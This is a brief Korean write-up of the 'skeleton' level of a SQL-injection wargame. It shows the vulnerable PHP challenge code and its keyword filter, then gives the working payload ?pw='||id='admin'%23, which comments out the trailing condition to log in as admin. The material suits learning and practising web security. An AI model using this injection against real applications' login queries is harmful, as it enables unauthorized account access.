[ LS - 10 ] skeleton

query : select id from prob_skeleton where id='guest' and pw='' and 1=0

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

 

코드 해석

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

• prob _  .  ()  필터링 수행

 if($result['id'] == 'admin') solve("skeleton"); 

• id = admin일 경우 문제 해결

 

문제해결

GET 방식으로 URL에 SQL 대입 ( ?pw='||id='admin'%23 )

 

query : select id from prob_skeleton where id='guest' and pw=''||id='admin'#' and 1=0